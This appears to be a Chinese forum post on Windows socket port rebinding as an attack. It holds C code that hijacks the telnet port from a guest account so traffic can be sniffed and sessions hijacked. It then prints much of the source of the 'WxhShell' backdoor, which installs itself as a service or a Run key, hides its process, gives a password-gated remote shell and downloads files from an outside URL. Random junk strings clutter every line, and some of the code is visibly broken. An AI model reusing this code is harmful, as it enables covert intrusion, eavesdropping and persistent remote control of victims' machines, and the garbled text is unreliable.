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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F]M-r{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YM`T"`f  
{|>'(iqH"w  
  saddr.sin_family = AF_INET; + yI$4MY  
Muwlehuq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Ommd{0M  
# fqrZ9:@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8XJi}YPQ  
OPN\{<`*d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0{vT`e'  
A6[FH\f  
  这意味着什么?意味着可以进行如下的攻击: 3IRur,|'  
/"J 6``MV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nA0%M1a  
;8oe-xS\+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X$KTsG*  
%|JiFDjp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W,EIBgR(R5  
*rTg>)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &|Wqzdo?#  
7j)ky2r#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GXxI=,L8F  
"gy&eR>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hDi~{rbmc  
56 JQ h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O? g;Ny  
@%fTdneH  
  #include bN-!&Td  
  #include .K84"Gdx  
  #include lrZ]c:%k  
  #include    G_?U?:!AC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -TVwoK  
  int main() I;Mm+5A  
  { )Xqjl  
  WORD wVersionRequested;  g*a+$'  
  DWORD ret; PP{ 9Y Vr  
  WSADATA wsaData; vyDxX  
  BOOL val; _yg;5#3  
  SOCKADDR_IN saddr; Lfn$Q3}O`$  
  SOCKADDR_IN scaddr; ,=\.L_'  
  int err; i{m!v6j:  
  SOCKET s; T^Ia^B-%}g  
  SOCKET sc; )Zr\W3yWX  
  int caddsize; .8W-,R4  
  HANDLE mt; "a].v 8l!  
  DWORD tid;   N ;=z o-8  
  wVersionRequested = MAKEWORD( 2, 2 ); XfE0P(sE  
  err = WSAStartup( wVersionRequested, &wsaData ); %SB4_ r*<  
  if ( err != 0 ) { @\nQ{\^;  
  printf("error!WSAStartup failed!\n"); 7SS#V  
  return -1; q83^?0WD  
  } ]=t}8H  
  saddr.sin_family = AF_INET; h,FU5iK|  
   (mp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oc)`hg2=  
1N(#4mE=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0 aH&M4  
  saddr.sin_port = htons(23); .^*;hZ~4%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #&T O(bk  
  { k Nc- @B  
  printf("error!socket failed!\n"); rX)&U4#[m  
  return -1; v4hrS\M  
  } W+ ;=8S  
  val = TRUE; (=uT*Cb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =q0V%h{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ( 0/M?YQF  
  { [3bPoAr\  
  printf("error!setsockopt failed!\n"); 7zCJ3p  
  return -1; 1iY4|j;ahV  
  } iO?AY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ic`BDkNO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iXy1{=BDv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #1U>  
]fzXrN_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UstUPO  
  { }| MX=:@*  
  ret=GetLastError(); f|VCibI  
  printf("error!bind failed!\n"); N#Rb8&G)b  
  return -1; EA(4xj&:U  
  } rl 7up  
  listen(s,2); }?,YE5~  
  while(1) #M|lBYdW}  
  { Wz.iDRFl  
  caddsize = sizeof(scaddr); w\s`8S  
  //接受连接请求 :se$<d%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5e. aTW;U  
  if(sc!=INVALID_SOCKET) >BO$tbU5b  
  { -9FGFBm4]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ld ]*J}cw  
  if(mt==NULL) :0:Tl/))  
  { ?'0!>EjY"  
  printf("Thread Creat Failed!\n"); xjr4')h  
  break; T`wDdqWbEG  
  } SI~jM:S}  
  } jbipNgxkr  
  CloseHandle(mt); 8)bR\s   
  } cy.r/Z}  
  closesocket(s); 'y; Kj  
  WSACleanup(); _?H3*!>3  
  return 0; A0 Nx?  
  }    7qy PI  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2j8GJU/L  
  { Lq5xp<  
  SOCKET ss = (SOCKET)lpParam; 60^j<O  
  SOCKET sc; >\[]z^J  
  unsigned char buf[4096]; OiQf=Uz\  
  SOCKADDR_IN saddr; U.,S.WP+d  
  long num; =_pSfKR;  
  DWORD val; AwNr}9`  
  DWORD ret; zQulPU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >fWGiFmlk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3!l>\#q6  
  saddr.sin_family = AF_INET; Qwpni^D8j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uQ-GJI^t  
  saddr.sin_port = htons(23); AMjr[!44 @  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :W,S  
  { PolJo?HZ  
  printf("error!socket failed!\n"); 't`h?VvL  
  return -1; y/\b0&  
  } ~g/"p`2-N  
  val = 100; ywJ [WfCY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #epbc K  
  { J-tqEK*  
  ret = GetLastError(); Mu>  
  return -1; ~BuzI9~7P  
  } w{aGH/LN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %CHw+wT&  
  { Cd)g8<  
  ret = GetLastError(); *^j'G^n  
  return -1; t']d_Vcza  
  } Ewjzm,2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N{L'Q0!  
  { H&K(,4u^  
  printf("error!socket connect failed!\n"); i}cqV B?r  
  closesocket(sc); ]dzBm!u  
  closesocket(ss); #CKPNk c  
  return -1; s Xyc _3N  
  } P%?|V _m  
  while(1) [ kI|Thx  
  { 4.7 YIM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 npsDy&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gO>XNXN{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X}T/6zk  
  num = recv(ss,buf,4096,0); 0k]$ he;h  
  if(num>0) `Y Hn L4  
  send(sc,buf,num,0); \Fd6Q_  
  else if(num==0) NfG<!  
  break; B/"TaXVU  
  num = recv(sc,buf,4096,0); YbaaX{7^  
  if(num>0) Jg3OM Ut  
  send(ss,buf,num,0); FT.6^)-  
  else if(num==0) Y+il>.Z  
  break; uTsxSkHb/  
  } s"u6po.'  
  closesocket(ss); [ j'L *j  
  closesocket(sc); y$,K^f  
  return 0 ; =MQpYX  
  } DK' ? '  
UQq ,Xq  
TJ k3z^.j  
========================================================== KGsS2  
P#^-{;Bu  
下边附上一个代码,,WXhSHELL 5u/dr9n  
R]{zGFnx  
========================================================== tC;L A 4  
sb8%!> C  
#include "stdafx.h" <sU?q<MC  
WiDl[l"{9  
#include <stdio.h> ckn0I  
#include <string.h> m |K"I3W$  
#include <windows.h> -Ky<P<@ezm  
#include <winsock2.h> | .w'Z7(s  
#include <winsvc.h> 71euRIW'5  
#include <urlmon.h> Be~__pd  
CC{*'p6  
#pragma comment (lib, "Ws2_32.lib") yT[CC>]l  
#pragma comment (lib, "urlmon.lib") Ew`(x30E  
r~mZ?dI  
#define MAX_USER   100 // 最大客户端连接数 t:MeSO  
#define BUF_SOCK   200 // sock buffer @bPR"j5D  
#define KEY_BUFF   255 // 输入 buffer /j7e q  
&j}08aK%  
#define REBOOT     0   // 重启 hw2'.}B"(  
#define SHUTDOWN   1   // 关机 #vwK6'z  
0tA~Y26  
#define DEF_PORT   5000 // 监听端口 ?vA)F)MS   
@#HB6B  
#define REG_LEN     16   // 注册表键长度 9jwcO)p^  
#define SVC_LEN     80   // NT服务名长度 Ej_>*^b  
xIt'o(jQH  
// 从dll定义API Y-Iu&H+\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !H)$_d \uj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |nOqy&B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Dh\2! sr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SB1j$6]OR7  
o!6~tO=%  
// wxhshell配置信息 j-~x==c-;  
struct WSCFG { %}.4c8  
  int ws_port;         // 监听端口 E[$"~|7|$  
  char ws_passstr[REG_LEN]; // 口令 @`Fv}RY{  
  int ws_autoins;       // 安装标记, 1=yes 0=no '=s{9lxn^  
  char ws_regname[REG_LEN]; // 注册表键名 ,W8E U  
  char ws_svcname[REG_LEN]; // 服务名 %@L[=\ 9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -|z ]Ir  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ar&j1""  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }-Ds%L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _#\e5bE=Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fyt ODsb>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n>t&l8g%g  
tLH:'"{zx  
}; m!22tpb  
RB\ Hl  
// default Wxhshell configuration K#"J8h;x  
struct WSCFG wscfg={DEF_PORT, <K g=?wb  
    "xuhuanlingzhe", <v=$A]K  
    1, vl`Qz"Xy  
    "Wxhshell", 9f(0 qa  
    "Wxhshell", ;C ^!T  
            "WxhShell Service", .j et0w  
    "Wrsky Windows CmdShell Service", M&QzsVH  
    "Please Input Your Password: ", ?xa70Pb{;  
  1, K20,aWBq;3  
  "http://www.wrsky.com/wxhshell.exe", /"+CH\) E  
  "Wxhshell.exe" [c^!;YBp)  
    }; N F$k~r  
hD> ]\u  
// 消息定义模块 0Cg}yyOz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h 8%(,$*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &9+]{jXF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "*U0xnI  
char *msg_ws_ext="\n\rExit."; hqXp>.W  
char *msg_ws_end="\n\rQuit."; g 2LY~  
char *msg_ws_boot="\n\rReboot..."; lQS(\}N  
char *msg_ws_poff="\n\rShutdown..."; ^cUmLzM  
char *msg_ws_down="\n\rSave to "; =l)D$l  
*&vlfH  
char *msg_ws_err="\n\rErr!"; 1 5heLnei  
char *msg_ws_ok="\n\rOK!"; k!Ym<RD%N  
E ,kDy:  
char ExeFile[MAX_PATH]; qix$ }(P  
int nUser = 0; VGY x(  
HANDLE handles[MAX_USER]; k~0#Iy_{M  
int OsIsNt; r*q  
cv{icz,%w  
SERVICE_STATUS       serviceStatus; 3u 'VPF2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7"_m?c8  
zb]e {$q2C  
// 函数声明 QkFB \v  
int Install(void); aZ,j1j0p  
int Uninstall(void); -l Y,lC>{  
int DownloadFile(char *sURL, SOCKET wsh); m >Rdsn~l  
int Boot(int flag); A_!N,< -  
void HideProc(void); H9\,;kM)  
int GetOsVer(void); "u.'JE;j  
int Wxhshell(SOCKET wsl); D_N0j{E  
void TalkWithClient(void *cs); }>5R9  
int CmdShell(SOCKET sock); HUFm@?  
int StartFromService(void); =Lh8#>T\h  
int StartWxhshell(LPSTR lpCmdLine); {e+}jZ[L  
|EGC1x]j=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rNK<p3=7)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }PXtwp13&u  
bA-/"'Vp9  
// 数据结构和表定义 \wKnX]xGf  
SERVICE_TABLE_ENTRY DispatchTable[] = $$ 9!4  
{ &At9@  
{wscfg.ws_svcname, NTServiceMain}, q)l1tC72  
{NULL, NULL} "X(9.6$_  
}; y$}o{VE{x  
Z=m5V(9  
// 自我安装 Gw$Y`]ipy  
int Install(void) 4wkmgS  
{ A-eRL`  
  char svExeFile[MAX_PATH]; @CtnV|  
  HKEY key; Ak dx1h,  
  strcpy(svExeFile,ExeFile); u}">b+{!  
H %Dcp#k  
// 如果是win9x系统,修改注册表设为自启动 4Uk\hgT0  
if(!OsIsNt) { z j F'CY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e#AmtheZR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XxYwBc'pc  
  RegCloseKey(key); hAV@/oQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \>\_OfY1W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pil_zQ4  
  RegCloseKey(key); !DM GAt\  
  return 0; o zMn8@R  
    } fB)S:f|  
  } +gyGA/5:d$  
} M9QYYo@  
else { [w*]\x'S  
S^x?<kYQau  
// 如果是NT以上系统,安装为系统服务 *=}\cw\A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  9+ A~(  
if (schSCManager!=0) eJ0Xfw%y%T  
{ DC~1}|B"  
  SC_HANDLE schService = CreateService T8BewO=}  
  ( 5^97#;Q;J"  
  schSCManager, ,_UTeW6M  
  wscfg.ws_svcname, c :2w(BVi  
  wscfg.ws_svcdisp, ":_~(?1+  
  SERVICE_ALL_ACCESS, )zydD=,bu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +,_%9v?3  
  SERVICE_AUTO_START,  K,o&gY  
  SERVICE_ERROR_NORMAL, 7.*Mmx~]=  
  svExeFile, &u4;A[- R  
  NULL, #= T^XHjQ  
  NULL, "?G?G'yK>  
  NULL, 2xBYJoF(  
  NULL, ]-sgzM]q  
  NULL yf2P6b\  
  ); tH(g;flO)  
  if (schService!=0) ,YBe|3  
  { _l+8[\v  
  CloseServiceHandle(schService); r+ usMF<'  
  CloseServiceHandle(schSCManager); #0:rBKm,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YCq:]  
  strcat(svExeFile,wscfg.ws_svcname); [a!)w@I:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U/A [al  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6@x^,SA  
  RegCloseKey(key); d/[kky}  
  return 0; :rU,7`sE/  
    } HF<h-gX  
  } z~th{4#E ;  
  CloseServiceHandle(schSCManager); e!ql8wbp  
} A[`2Mnj  
} !-m 'diE  
 (F&o!W  
return 1; *mz-g7  
} AqT}^fS  
cEIs9;  
// 自我卸载 MnP+L'|  
int Uninstall(void) M0t9`Z9  
{ #fDM{f0]R  
  HKEY key; 9 /=+2SZ  
i}O.,iH  
if(!OsIsNt) { G8.nKoHv7x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !tSh9L;<O  
  RegDeleteValue(key,wscfg.ws_regname); d+nxvh?I8  
  RegCloseKey(key); c=D~hzN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  L+CPT  
  RegDeleteValue(key,wscfg.ws_regname); @V Sr'?7-  
  RegCloseKey(key); :_h#A }8Xd  
  return 0; Ek60[a  
  } VV/aec8  
} 4+Jf!ovS=  
} mRy0zN>?  
else { ,hWuAu6.L  
{mB!mbr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y(Y#H$w  
if (schSCManager!=0) #S(b2LEc  
{ FzAzAl 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,Fn-SrB:  
  if (schService!=0) M[C)b\  
  { <b?$-Rx  
  if(DeleteService(schService)!=0) { x->+w Jm@s  
  CloseServiceHandle(schService); }tQ^ch;Q  
  CloseServiceHandle(schSCManager); }/4),W@<  
  return 0; d(K}v\3!  
  } Z^J 7r&\V  
  CloseServiceHandle(schService); \zeuvD  
  } BZ(DP_}&D  
  CloseServiceHandle(schSCManager); "y60YYn-#J  
} ^I{/j 'b&  
} X%T%N;P  
W^pf 1I8[  
return 1; n7|,b- <  
} VI-6t"l  
dl(!{tZ#  
// 从指定url下载文件 6#Rco%07zI  
int DownloadFile(char *sURL, SOCKET wsh) RIDl4c [  
{ ZFX6 iAxd  
  HRESULT hr; R\-]$\1D  
char seps[]= "/"; @aP1[(m  
char *token; :%h|i&B  
char *file; \}!/z]u  
char myURL[MAX_PATH]; aMGyV"6(-6  
char myFILE[MAX_PATH]; F\jawoO9  
,20l` :  
strcpy(myURL,sURL); L4ZB0PmN'  
  token=strtok(myURL,seps); }qR6=J+Dx  
  while(token!=NULL) #|T2`uYotf  
  { 0lOR.}]q  
    file=token; xUTTRJ(\  
  token=strtok(NULL,seps); cdN=HM~I  
  } -e>Z!0  
xz~Y %Y|Z  
GetCurrentDirectory(MAX_PATH,myFILE); av_ +M;G  
strcat(myFILE, "\\"); Z@bSkO<Y  
strcat(myFILE, file); {gxP_>  
  send(wsh,myFILE,strlen(myFILE),0); #N;&^El  
send(wsh,"...",3,0); y8Rq2jI;(e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); csA-<}S5]b  
  if(hr==S_OK) @1i<=r  
return 0; Ro;I%j  
else mW~*GD~r  
return 1; s~ou$!|  
6  $`l  
} .@ZrmO o]]  
5vLA)Al3  
// 系统电源模块 Mcq!QaO}&  
int Boot(int flag) 1vS-m x  
{ {vT9I4d8  
  HANDLE hToken; 'dqecmB  
  TOKEN_PRIVILEGES tkp; 57q?:M=^  
8c>xgFWp9  
  if(OsIsNt) { >s )L(DHa"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S~R[*Gk_uT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7-0j8$`  
    tkp.PrivilegeCount = 1; g+7j?vC{'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y;(G%s1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P#V}l'j(<a  
if(flag==REBOOT) { ?6HnN0A)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IVVX3RI  
  return 0; >nvnU`\  
} +"1-W> HV  
else { :, 3S5!(y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :^-\KE` 3  
  return 0; <\ eRa{ef  
} s< Fp17  
  } ^Pah\p4bj  
  else { .gM6m8l9wp  
if(flag==REBOOT) { 7u rD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c&Eva  
  return 0; K=r~+4F  
} 9m\Yi  
else { uKj(=Rqq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KzJJ@D*4M]  
  return 0; HKIr?  
} Q#*R({)GH  
} Z>l<.T"t'  
dk"@2%xJ2d  
return 1; t/3HX]B_  
} g)!q4 -q  
2dK:VC4U  
// win9x进程隐藏模块 a8gOb6qF/H  
void HideProc(void) ;/kmV~KG  
{ H}q$6W E  
bAy\Sr #/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H/Rzs$pnv  
  if ( hKernel != NULL )  z:   
  { OmK4 \_.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D6"d\F m<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t<j_` %`8  
    FreeLibrary(hKernel); '&2-{Y [!  
  } 27}7 n  
Z~}9^(qc  
return; '=eVem=  
} fJ6Q:7  
$*LBZcL  
// 获取操作系统版本 EXwU{Hl  
int GetOsVer(void) o wI:Qs_/4  
{ |68u4zK  
  OSVERSIONINFO winfo; z@ `u$D$n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hm k ~  
  GetVersionEx(&winfo); [_}8Vv&6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rf2mBjJ(z  
  return 1; /a9CqK  
  else C7f*Q[  
  return 0; %|1s9?h7\  
} W}%"xy]N  
k+J63+obd  
// 客户端句柄模块 Z9*@w`x^u  
int Wxhshell(SOCKET wsl) UJ(UzKq8  
{ vp9wRGd  
  SOCKET wsh; Pc7p2  
  struct sockaddr_in client; u:6R|%1fNn  
  DWORD myID; {oR@'^N  
`M(st%@n  
  while(nUser<MAX_USER) !w@i,zqu  
{ h%NM%;"H/  
  int nSize=sizeof(client); "@|rU4Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t;-F]  
  if(wsh==INVALID_SOCKET) return 1; nJ/}b/A{  
rl&.|;5uH;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )4.-6F7U?  
if(handles[nUser]==0) ^FVmP d*1  
  closesocket(wsh); N2Ysi$  
else MJCz %zK  
  nUser++; ZLdIEBi=  
  } uu"hu||0_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \=`jo$S  
#K/JU{"  
  return 0; y~wr4Q=  
} JG7K-W|!c  
|[>yJXxEL@  
// 关闭 socket da_0{;wR  
void CloseIt(SOCKET wsh) 7+IRI|d  
{ 9\T9pjdZE  
closesocket(wsh); M4CC&?6\  
nUser--; ^dsj1#3z  
ExitThread(0); ]ms+ Va_/  
} 1L!jI2~x}  
;*ULrX4[  
// 客户端请求句柄 {"2CI^!/U.  
void TalkWithClient(void *cs) )[r=(6?n  
{ ~jmI`X/  
ao[yHcAs  
  SOCKET wsh=(SOCKET)cs; g}uSIv^  
  char pwd[SVC_LEN]; >"|t*k S  
  char cmd[KEY_BUFF]; tmM; Z(9t  
char chr[1]; Y>ATL  
int i,j; 3-)}.8F  
uPxjW"M+  
  while (nUser < MAX_USER) { g5u4|+70  
GCX?W`  
if(wscfg.ws_passstr) { JNJ6HyCU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9sd}Z,l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l4(FM}0X5}  
  //ZeroMemory(pwd,KEY_BUFF); &-X51O C  
      i=0; 8V9OMOt!  
  while(i<SVC_LEN) { =dQ/^C_hj  
4\g[&  
  // 设置超时 ;DVg[#  
  fd_set FdRead; :^xNHMp!  
  struct timeval TimeOut; *[BtW5 6-  
  FD_ZERO(&FdRead); P=\Hi.]%  
  FD_SET(wsh,&FdRead); gW9`k,U  
  TimeOut.tv_sec=8; R,=8)OI2  
  TimeOut.tv_usec=0; 3(vm'r&5n>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ='_3qn.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i\gt @  
qDz[=6BF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ir>+p>s.  
  pwd=chr[0]; |F<%gJ  
  if(chr[0]==0xd || chr[0]==0xa) { vts"  
  pwd=0; 81!;Wt(?  
  break; 1<MJ3"60  
  } }gB^C3b6  
  i++; v&3" (fp  
    } (I'{ pF)  
0>]&9'cn  
  // 如果是非法用户,关闭 socket -mmQ]'.0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kC6Y?g  
} 4FZ/~Y1}  
H@~tJ\L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W- nS{v(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fwMYEj  
Ro<x#Uo  
while(1) { [McqwU/Q  
a" T+CA  
  ZeroMemory(cmd,KEY_BUFF); &-JIXVd*R  
-S&9"=v  
      // 自动支持客户端 telnet标准   a1u4v/Qu9  
  j=0; 8G|?R#&  
  while(j<KEY_BUFF) { m({ q<&]Qp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q;IuV&B  
  cmd[j]=chr[0]; CdPQhv)m  
  if(chr[0]==0xa || chr[0]==0xd) { ]` A*7  
  cmd[j]=0; VM\\.L  
  break; 0Zo><=  
  } vv<\LN0  
  j++; -yg;,nCg  
    }  yOvV"x]  
DIWyv-  
  // 下载文件 ,j\uvi(Y  
  if(strstr(cmd,"http://")) { v0tFU!Q%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dLwP7#r  
  if(DownloadFile(cmd,wsh)) 8*&73cp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )  LTV+?  
  else ko'V8r `V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !M9mX%UQ  
  } QZa^Cng~  
  else { aI`d  
e^\#DDm  
    switch(cmd[0]) { `w8cV ?  
  x!pd50-   
  // 帮助 )1R[X!KQ7  
  case '?': { Tyb'p9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); riaL[4c  
    break; f~TkU\Rh  
  } X*d!A >s  
  // 安装 dn Xu(e%  
  case 'i': { ,!g/1m  
    if(Install()) /6yVbo"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b&1hj[`)  
    else U2vb&Qu/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fb^R3wd$ff  
    break; nA.U'=`  
    } ,H mGp  
  // 卸载 ^^tTA^  
  case 'r': { .pm%qEh  
    if(Uninstall()) OT6Te&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9.( [,J  
    else zcH"Kh&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QQS "K g  
    break; yv>uzb`N  
    } i.?rom  
  // 显示 wxhshell 所在路径 _4#7 ?p  
  case 'p': { 9Av{>W?  
    char svExeFile[MAX_PATH]; b E40^e  
    strcpy(svExeFile,"\n\r"); C#1'kQO  
      strcat(svExeFile,ExeFile); F{.g05^y  
        send(wsh,svExeFile,strlen(svExeFile),0); 6cbV[ !BL  
    break; ]W~M?1 }  
    } Gi$\th,  
  // 重启 KZ^>_K&  
  case 'b': { H$Pf$D$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -~4kh]7%  
    if(Boot(REBOOT)) 2e3AmR@*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ik((qx_  
    else { ;:J"- p  
    closesocket(wsh); /7,@q?v  
    ExitThread(0); `_ZbA#R,  
    } 48G^$T{  
    break; BC1smSlJ  
    } ;4/ n~  
